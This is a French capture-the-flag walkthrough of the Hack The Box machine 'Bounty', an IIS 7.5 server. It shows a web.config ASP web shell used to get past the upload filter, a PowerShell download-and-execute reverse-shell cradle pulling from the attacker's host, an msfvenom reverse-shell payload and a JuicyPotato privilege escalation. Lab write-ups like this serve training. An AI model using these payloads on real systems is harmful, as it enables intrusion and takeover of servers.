Aujourd'hui nous allons exploiter la machine bounty de chez Hack The Box sans metasploit. HackTheBox est une app qui aide les hackers à se maintenir en forme. Le but de la plateforme est de proposer des machines vulnérables à une communauté de hackers.

Niveau : moyen

But : récupérer les fichiers users.txt et root.txt

Tags :

Au programme

Scan

  • nmap

Énumération

  • gobuster

Exploitation de la vulnérabilité

  • Upload d'une webshell
  • RCE (Remote Code Execution) et shell netcat

Élévation de privilège

  • JuicyPotato

Scan avec nmap

Un scan rapide avec nmap nous montre que le port 80 est ouvert. Le scan TCP de tous les ports n'a révélé aucune information supplémentaire. En avant pour le port 80.

nmap -sT -A --top-ports=1000 10.10.10.93

PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Bounty
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Énumération

 Le port 80 est celui du protocole HTTP. J'ai donc ouvert firefox pour avoir un aperçu de notre page web. Une simple page avec une image ; le code ne nous dit rien et il n'y a pas non plus de fichier robots.txt.

L'idée maintenant c'est d'énumérer le site à l'aide dictionnaire qui contient des adresses courantes. Gobuster va nous permettre d'automatiser tout ça.

  • -u renseigne l'adresse du site à énumérer
  • -k permet de ne pas valider le certificat TLS / Aucun besoin ici vu qu'on a du http non crypté
  • -w Le chemin vers le dictionnaire
  • -t le nombre de scan à exécuter de manière simultanée
  • -x permet de rajouter des extensions au fichier ; on est sur un serveur IIS ; asp et aspx sont mes premiers choix

Let's go buster !

On peut voir une page transfer.aspx qui va nous permettre d'envoyer des fichiers et un dossier uploadedfiles qui doit être le chemin vers les fichiers téléchargés. j'ai d'abord testé avec un .jpg ; tout fonctionne, on continue...

Exploitation de la vulnérabilité

Mon premier réflexe a été d'uploader un fichier asp ou aspx. Malheureusement, on ne peut pas uploader n'importe quel type de fichier. Pour contourner les filtres plusieurs solutions existent (cliques pour en savoir plus !).

J'ai d'abord créé une shell avec la commande ci-dessous et j'ai ainsi pu envoyer un fichier nommé shell.aspx%00.jpg. Tout ce qui est après le "null byte" (%00) ne sera pas prix en compte lors de l'upload, mais le filtre pense que c'est un jpg. Mais la page http://10.10.10.93/uploadedfiles/shell.aspx me renvoie une erreur.

C'est à que ça se corse. Les techniques habituelles ne fonctionnant pas, il a fallu faire quelques recherches. En tapant dans google "IIS 7.5 RCE" on tombe sur un article du site de Carlos Polop qui fait référence dans la communauté des hackers : https://book.hacktricks.xyz/ qui nous dit qu'on peut uploader des fichiers .config. Il y a un lien vers le site de Soroush Dalili pour plus de détail. Le permier code de ce site fonctionne et nous renvoie un 3. C'est parfait. Il n'y a plus qu'à trouver une shell asp à intégrer à notre fichier web.config.

"github asp shell" dans google nous renvoie vers ce code qu'il n'y a plus qu'à coller dans notre fichier web.config :


<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path=".config" verb="" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>

<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>

<HTML>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's local address:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>
</HTML>

Tout fonctionne à merveille même si le fichier web.config est supprimé assez rapidment. On va pouvoir envoyer une shell  :

powershell.exe -nop -w hidden -c IEX (New-Object System.Net.WebClient).DownloadString('http://10.10.14.15/shell.ps1')

Ce bout de code télécharge et exécute le fichier shell.ps1 qui se trouve sur ma machine.

N.B. Kali linux permet de lancer un mini serveur web à l'aide de la commande suivante : sudo python3 -m http.server 80

 

Une fois le script exécuté, j'obtiens une shell grace à mon listener netcat (nc -nlvp 24660)

Il n'y a plus qu'à aller chercher le user.txt. Petite remarque cependant, dir ne fonctionnait pas et j'ai dû utiliser la commande attrib . -h -s /s /d pour pouvoir lister les fichiers

Élévation de privilège

L'élévation de privilège est assez classique. whoami /all m'indique que SeImpersonatePrivilege est disponible. Mon premier réflexe c'est de me tourner vers JuicyPotato.

 

1/ on créé une shell à l'aide de msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.15 LPORT=25000 -f exe > shell.exe

2/ On télécharge cette shell et juicyPotato sur la machine cible

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile (New-Object System.Net.WebClient).DownloadFile('http://10.10.14.15/shell.exe', 'C:\Users\merlin\Desktop\shell.exe')

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile (New-Object System.Net.WebClient).DownloadFile('http://10.10.14.15/JuicyPotato.exe', 'C:\Users\merlin\Desktop\jp.exe')

3/ On utilise JuicyPotato pour lancer notre shell

.\jp.exe -t t -p C:\Users\merlin\Desktop\shell.exe -l 12345

Avant d'executer notre patate, j'ai bien pris soin de lancer un listener. Bingo !

more C:\Users\Administrator\Desktop\root.txt